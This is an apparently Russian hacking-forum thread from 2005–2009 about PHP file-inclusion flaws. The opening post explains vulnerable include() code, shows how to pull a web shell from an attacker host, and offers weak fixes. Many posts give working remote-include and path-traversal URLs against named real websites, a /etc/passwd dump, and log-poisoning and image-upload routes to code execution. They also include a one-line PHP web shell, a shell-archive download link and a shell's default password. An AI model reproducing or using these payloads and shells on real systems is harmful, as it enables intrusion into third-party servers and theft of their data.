Просмотр полной версии : php injection
GreenBear
25.12.2005, 00:47
Дело было вечером, делать было нечего… А сидеть в мирке с укуреными было неохота как-то… Вот решил построчить немного. Знаю что подобных статей, больше чем мне дней, но все же, свое это свое.
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
<?
..
Include ("$page.php");
…
?>
Программист сайта видимо надеялся на то, что в мире нет плохих юзверей, которые пройдут его сайт мимо. Но зря он надеялся. Наверное, каждый из нас, как увидит ссылку типа index.php?page=shop
Сразу вместо shop пишет dsdsds и смотрит на результат.Он будет примерно таким:
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Ура. Это и есть инлуд. Давайте подставим вместо dsdsds ссылку на наш сайт с шеллом, например http://hacker.nm.ru/shell (Важно! Без расширения на конце!) и о чудо, мы только что получили веб-шелл.
Идем дальше, есть код типа:
<?
..
Include ("files/$page.htm");
…
?>
:. Получается уже локальный инлкуд… Максимум, что мы добьемся - это просмотр файлов на сервере. Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
Третий тип:
<?
..
Include ("$patch/folder/page.php");
…
?>
Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :
Теперь, как избежать этого.
Случай первый:
<?
..
if (file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include ("$page.php");
}
Else //Есле…
{
Echo "Error!";
}
…
?>
Случай второй:
<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include ("files/$page.htm");
}
Else
{
Echo "error";
}
…
?>
Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
<?
…
$patch=str_replace("/","",$patch); // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);
if (file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include ("$patch/folder/page.php");
}
Else
{
Echo "Error!";
}
…
?>
Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
_http://www.beta-bedrijvendagen.nl/main.php?file=../main.php
_http://www.compendiuminc.com/main.php?file= к примеру;)
Zadoxlik
25.12.2005, 19:14
Теперь, когда вы так много знаете, я расскажу вам как правильно кушать ложкой.
Примерно тоже самое, что и эта статья. Green_beear молодец конечно, но не туда по-мойму труд ты свой прикладываешь немного.
К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)
Zadoxlik, ну простые и не очень смертные не в курсе какие планы у вас с Егорычем.. =) Инициатива приветствуется)). Думаю, здесь осуждать не имеет смысла, беспочвенно).
Статейка просто супер. Мне понравился но вот только во многих сайтах это не проходит, например я пишу в место index.php?page=shop , index.php?page=xernya а страничка вообще не реагирует на ошибочный запрос ...было бы лучше если бы вы обяснили как тогда действовать
статья нормально, так как на ачате еще не писали, пусть будет в библиотеке, но нету приложений в виде простенького кода шелла.
External
14.01.2006, 22:33
Тут кроме Белого Джордана об этой теме писать не могут. Ты не найдешь ни единой статьи об хсс кроме статей Алгола.
Zadoxlik
14.01.2006, 23:34
Просто об ней уже все написано
Простая статья что такого ужасного написали грин бир молодец что такого?
External
15.01.2006, 05:36
Просто об ней уже все написано
Ибо да, Алгола начал, а Белый Джордан закончил. Они все про хсс уже написали. Все что можно угу.
Есть код:
......
Include ("$page.php");
......
Подскажите идиоту как понять ("$page.php") - разве такое может быть?
Блин ну вот Я статью прочел.....
Ну и что Я могу сказать....................
Мда...............слов просто нет! ВООБЩЕ ни единого объяснения! :confused:
Просто какие то картинки дал, мол типа вот это, это то, это се....гы...
Такое впечатление, что автор только и умеют после знака равенства впечатывать - что попало. :rolleyes:
Ты хотя бы описал как фильтры для начало обходить, и типа для чего вообще including существует. Хоть бы с этого начал имхо. :rolleyes:
Блин почему Я не могу репутацию снизить!? :confused:
Не все что написано, называется статьей! Хотя бы модерам на показ свои статьи отсылайте ну!? А то в разделе статей, один флуд теперь!
Мда, сейчас пойду покажу как писать статьи надо.
Мдя.а вообще это не картинки, а исходники пхп. Чувак, чтобы понять это тебе наверное надо посмотреть видео на античате, уже поймешь что да как. а минусы ставят выше Members of Antichat.
http://video.antichat.ru/2_0.html
Подскажите идиоту как понять ("$page.php") - разве такое может быть?
я конечно не профессор, include ($page.php) наверное page.php можно сменить на cmd,
www.vixtim.com/index.php?page.php=ls -al
или как cmd
www.vixtim.com/index.php?cmd=ls -la
вроде как разницы нет.
я конечно не профессор, include ($page.php) наверное page.php можно сменить на cmd,
www.vixtim.com/index.php?page.php=ls -al
или как cmd
www.vixtim.com/index.php?cmd=ls -la
вроде как разницы нет.
причем тут cmd? если в странице index.php присутствует скрипт <? passthru("$cmd"); ?>, то тогда только тебе листинг директории покажет ../index.php?cmd=ls -lia
include "$page.php" означает что при нажатии на ссылку ../index.php?page=yopt откроется страница yopt.php. В строке брaуезра ты будешь видеть ../index.php?page=yopt, хотя ее можно и открыть как ../yopt.php
К новому году, по словам Егорыча великого и ужасного, будет опубликована достаточно полная статья по теме на античате, так что не делайте полуфабрикатов =)
Новый год прошел, а статья есть?
пардон, а не читал впереди. ответил сразу.поэтому ступил.
include "$page.php" означает что при нажатии на ссылку ../index.php?page=yopt откроется страница yopt.php. В строке брaуезра ты будешь видеть ../index.php?page=yopt, хотя ее можно и открыть как ../yopt.php
Вы меня неправильно поняли! Разве страница с расширением *.php вдруг стать переменной(и кавычки зачем?)? Наверное долно быть include ($page); ! Новички на этом могут голову сломать, как сломал её сегодня ночью, когда прочитал эту статью.
Zadoxlik
09.05.2006, 17:36
Новый год прошел, а статья есть?
Статья была за долго до нового года.
Почитать пока негде нельзя
статья не очень. и тему следовало назвать php-inc для новчиков, тк тема пхп инекций более обширна - инклудинг лишь часть.
Вот все говорят, что php-include это всего лишь часть....а про остальное ни слову!
Теперь, как избежать этого.
Случай первый:
<?
..
if (file_exists(\"$page.php\")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include (\"$page.php\");
}
Else //Есле:
{
Echo \"Error!\";
}
:
?>
Разве это выход? если мы укажем на существующий shell проверка выполнится успешно. Вообще в таких случаях я бы рекомендовал оператор switch, надёжней не придумаешь, особенно если страниц не так много и нет необходимости их часто добавлять.
Постораюсь дать тебе ответ, коротко и чтоб ты имел маленькое представления о том что такое веб шелл.
Ну это типо проводник, но по круче =))
BlackDog
11.08.2006, 11:24
хм...... лан... пасиб....
BlackDog веб шелл ето скрипт чаще на PHP для управления своим\чужим сайтом\сервером.
шеллы можеш запускать на чужиш сайтах через php-ij (как ето делается я попоробовал обьясить ТУТ (http://forum.antichat.ru/showthread.php?p=167769#post167769) )
изучай!!!!
Вот скачай етот АРХИВ (http://benss.narod.ru/shells.rar) там подборка веб шеллов на любой вкус. Удачи
Марсеанчег
29.08.2006, 16:24
хм...вот что у меня выводится в адресную строку http://blablabla:82/?mod=lookbook
Вот код функции которая производит инклуд
function std_execute_mod( $mod_name, $mod_function )
{
$mod_name = str_replace( '.php', '', $mod_name );
require_once( $GLOBALS['g_dir_mod'] . $mod_name . '.php' );
eval( '$out=' . $mod_name . '_' . $mod_function . ';' );
return $out;
}
$GLOBALS['g_dir_mod'] - тут папка mod
можно ли как-то сделать пхп инъекцию?
http://www.eurogym.ru/index.php?lang_id=0&content_id=+11&p_content_id=0&sitemap=0&extfilename=http://www.google.com
гы...
осваиваемся потихоньку =)
Панки, залилть вы можете расказат ькак? Я только вижу шел который работает через их инклуд, на моем сервере шел. Я хочу залить на их.
Статья прикольная. У меня вопрос вот например я увидел на форуме вот такой "php injection" - http://блаблабла/main.php?page=../../../../etc/passwd%00
Открываю и вижу: ../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lpx:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var//mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin
И еще очень много таково.
Насколько я понимаю, то мы зашли в корневую директорию сайта, перешли в папку "etc" и открыли файл "passwd". Если ошибаюсь то поправьте. Но я не понял что мы увидели в этом файле??? Разъясните пожалуйста.
Я уже отвечал на этот вопрос на форуме, вобщем применительно к локальному инклюду вот:
Смысл в том, что /etc/passwd есть на любой nix-ОС и если получилось его заинклюдить (как вариант прочитать), то значит как минимум локальный инклюд есть (я не беру вариант с опенбэйздир) и не надо подбирать путьк нему, т.к. при любом (большом) количестве /../ ты всеравно его прочитаешь (потому что выше рута / не прыгнешь), а дальше все, что подскажет тебе воображение...
например есть локальный инклюд, ты можешь:
1) прочитать и использовать passwd файл для брута по маске login:login (к тому же узнать путь к домашним директориям пользователей, иногда очень нужно)
2) узнав методом перебора стандартных путей путь к логам апача, ты можешь намеренно вызвать ошибку, записать к примеру в error_log php код а потом этот error_log проинклюдить (заметь локально) и соответственно этот код выполнить (например элементарный веб-шелл <?php system($_GET[cmd]); ?>)
3) если на сайте есть возможность заливки картинок, то ты можешь вставить php код в gif или в Exif данные jpeg картинки, а потом с помошью все того же локального инклюда выполнить этот код (проинклюдив картинку)
4) Есть у тебя к примеру SQL инъекция и у пользователя БД есть права filepriv, но ты не можешь записать шелл т.к. незнаешь путей, или нет ни одной паки доступной из веба с правами на запись, в первом случае ты можешь прочитать файл httpd.conf (если найдешь, и если будут права на чтение) и узнать пути, хотя это можно сделать и через sql-inj, при втором варианте ты пишешь свой шелл в /tmp и с помощью локального инклюда подцепляешь свой шелл из /tmp
5) куча вариантов, насколько фантазии хватит
Если есть просто читалка файлов, то ты можешь посмотреть файлы конфигурации на сайте и узнать пароль и пользователя БД (обычно они в незашифрованном виде)
то мы зашли в корневую директорию сайта, перешли в папку "etc" и открыли файл "passwd".
Не в корневую директорию сайта а сервера, в данном случае это *Nix Os (как сказал Scipio)
у меня вопрос по Web-shell.
Я использую Web-shell CIH.[ms] открываю его с помощю php-injection.
Но при попытке чтото зделать шел просто перезагружаеться и не выполняет никаких команд =( (_http://www.an-invest.ru/?id=http://poni-shell.nm.ru/sss) Можете подсказать вчем проблема ? буду очень благодарен.
Попробуй другой шелл
У меня всё нормально
Таже ситуация перепробывал кучу веб-шєлов они грузяться показывают каталог с файлами а когда я хочу загрузить или перейти в другую папку они просто перезагружаються и опять показуют тотже каталог =(
на nm.ru вроде выполняются PHP (не уверен)
вот
http://www.an-invest.ru/?id=http://ziroday.narod.ru/antichat
правда папок на запись там нет)
Я хотел бы еще сказать насчет терминологии:
все таки статья про php инклюдинг, а не про php инъекцию
php including - это подключение файлов, а
php injection - это внедрение php кода
например чтение /etc/passwd - никак не может быть инъекцией, т.к. никакого php кода не выполняется
а php injection это исполнение php комманд или кода ну допустим через eval или preg_replace т.д.
Я хотел бы еще сказать насчет терминологии:
все таки статья про php инклюдинг, а не про php инъекцию
php including - это подключение файлов, а
php injection - это внедрение php кода
например чтение /etc/passwd - никак не может быть инъекцией, т.к. никакого php кода не выполняется
а php injection это исполнение php комманд или кода ну допустим через eval или preg_replace т.д.
Посмотрел бы вначале, когда статья была написана.
P.S. PHP Include - это и есть PHP Injection (один из видов)
2NOmeR1 Я не думаю, что терминология со временем сильно изменилась, к тому же я не откапывал статью в недрах ачата, а ссылка на нее висела на головной странице форума
а насчет:
P.S. PHP Include - это и есть PHP Injection (один из видов)
ну может ты и прав, но сразу вспоминается аналогия:
Собака смертна
Я смертен
Я смертен, значит я - собака
GreenBear
22.11.2007, 18:11
что ты к словам придрался. малоли кто как говорят. тут суть ясна.
Да я вобщем то не придирался, я же не пишу срочно исправьте название, или афффтар не прав, просто написал насчет терминологии, да и то для меня это непринципиально,потому что как ты сказал:малоли кто как говорят. тут суть ясна.
Я хотел бы еще сказать насчет терминологии:
все таки статья про php инклюдинг, а не про php инъекцию
php including - это подключение файлов, а
php injection - это внедрение php кода
помню с Нитроксом спорил на эту темы
Вообще то инкдуинг - это именно include() или require(), ну я так считаю =)
blackybr
10.03.2008, 04:22
че? какие еще линии? наркоман чтоле.
не получится у тебя в случае если урл акцес дизейблид.. тогда при меджик квоутс офф можешь локальные файлы подрубать. если же и они врублены, то тебе не повезло
Не ну я конешно еше мало чё понимаю и етого неотрицаю...
Имел ввиду я ето
Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 если незаметил то в конце написано on line 3 (ето я и имел ввиду)
а в моём варианте 63
не получится у тебя в случае если урл акцес дизейблид.. тогда при меджик квоутс офф можешь локальные файлы подрубать
нашёт етого можно поподробней а тоя чето неочень понял :confused:
запрещён инклуд удалённых файлов, т.е вида (http://site/shell.php) а можно только подключать локальные (используя либо полный путь, либо отностительный) При выключенном параметре меджик квоутс кавычки не слэшируются, поэтому их можно использовать при указании полного пути подключаемого файла. Надеюсь понятно объяснил. -=lebed=-
ЗЫ попрошу неназывать мя наркаманом,ето не правда:D
если незаметил то в конце написано on line 3 (ето я и имел ввиду)
а в моём варианте 63
Фигню пишешь. Причём тут исходный код? Хоть на on line 3333333 разницы никакой.
нашёт етого можно поподробней а тоя чето неочень понял
запрещён инклуд удалённых файлов, т.е вида (http://site/shell.php)
Да.
Почитай про директивы в php.ini
De-visible
10.11.2008, 03:42
Очень хорошая и познавательная статья,автору спасибо!
археолог???
Для спасибо есть репутация.
статья оцтой. достаточно одной регулярки - это вся статья. и еще элита форума такую ***ню пишет, фу противно.
.:EnoT:.
10.11.2008, 07:42
статья оцтой. достаточно одной регулярки - это вся статья. и еще элита форума такую ***ню пишет, фу противно.
угу, статья 2005 года...а ты к примеру 3 года назад умнее был?)))
чтобы обойти всю эту иньекцию достаточно выключить register_globals
чтобы не париться на счет инъекций, можно убить себя.
а чтобы инклудиться на другие сайты, параметр include_path должен быть включён (php.ini), а он отключён по стандарту, как и register_globals
`````````````````
Статья старая, но раньше она была актуальна, bombeg, не надо поднимать переполох
winterfrost
10.11.2008, 20:07
Можно попробывать с нулевым байтов (%00) - это сделает возможным просмотреть файлы с разрешением отличным от .htm,(пример index.php?page=../index.php%00) но… такое уже редко встречается.
Насколько мне известно, файлы с расширением .php посмотреть всёравно не получиться, потому-что "The include() statement includes and evaluates the specified file. " (http://ua.php.net/include/).
p.s. чёрт, только щас заметил, что статья 2005-го года =))))
Блин ещё бы кто написал статейку про sql injection вообще шикарно бы было!
Solide Snake
12.11.2008, 14:42
Блин ещё бы кто написал статейку про sql injection вообще шикарно бы было!
https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ
https://forum.antichat.ru/thread35207.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection
https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ
https://forum.antichat.ru/thread35207.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection
ммм... спасибо :)
А что делать если стоит фильтрация на \ : . - вообщем на "плохие" символы?
Такая фигня, http://www.prodisney.ru/index.php?page=http://nabstre.tu2.ru/shell.php но показывает дерикторию моего сайта а не этого что делать???
Во первых скрипт на твоем сайте должен быть не исполняемым, то есть txt файл к примеру.
Либо вообще без расширения, то есть так:
index.php?page=http://nabstre.tu2.ru/shell.txt?
Потому что если файл исполняемый, то он исполнятся будет на твоем сервере, а на выходе будет уже результат. Поэтому выводится содержание директории на твоем сервере.
Во вторых конкретно на этом сайте бага не работает, скрипт не инклюдит файлы, а выводит их содержание.
Так что облом.
а такой вопросик почему часто бывает то что шел не запускается а просто отображается код шелла.
Pashkela
06.11.2009, 21:56
потому что риадер, а не LFI, нет инклуда, есть читалка
PS: Но тоже очень неплохо, т.к. можно прочитать важную системную информацию, например фтп-логин/пасс, что будет покруче любого шелла
shellz[21h]
06.11.2009, 21:57
Бага в функциях fopen(), file(), file_get_contents() и подобных функциях, которые не способны интерпретировать код.
а можете дать адрес рабочего шелла? а то та, которая в статье - уже дохлый.
(или код, чтоб запись на свой хост)
(или код, чтоб запись на свой хост)
<?php system($_GET[cmd]); ?>
Если нужен продвинутый шелл - топай топай в раздел "Избраное" и качай WSO
Спасибо, нашел и скачал.
а не подскажете как его настроить? просто все это залить в сервер и "вызывать" по адресу: www.mysite.ru/wso2.php ?
а там пароль по умолчанию не знаю :(( только есть хэш: 63a9f0ea7bb98050796b649e85481845
а зачем папка WSOmanager ? там что ?
кстати, а как тогда направить инклюд, если этот шелл требует авторизацию?
темно как то мне ....
root пароль, там комент должен быть:
63a9f0ea7bb98050796b649e85481845 // root
как то так, не помню точно.
И хватит оффтопить в теме.
index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода
index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода
http://forum.antichat.ru/thread23501.html
см Примечания к перовму разделу
Бум, елементарный пример:
<?
$re = $_GET['re'];
include($re.".php");
?>
localhost/script.php?re=http://localhost/shell.txt?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot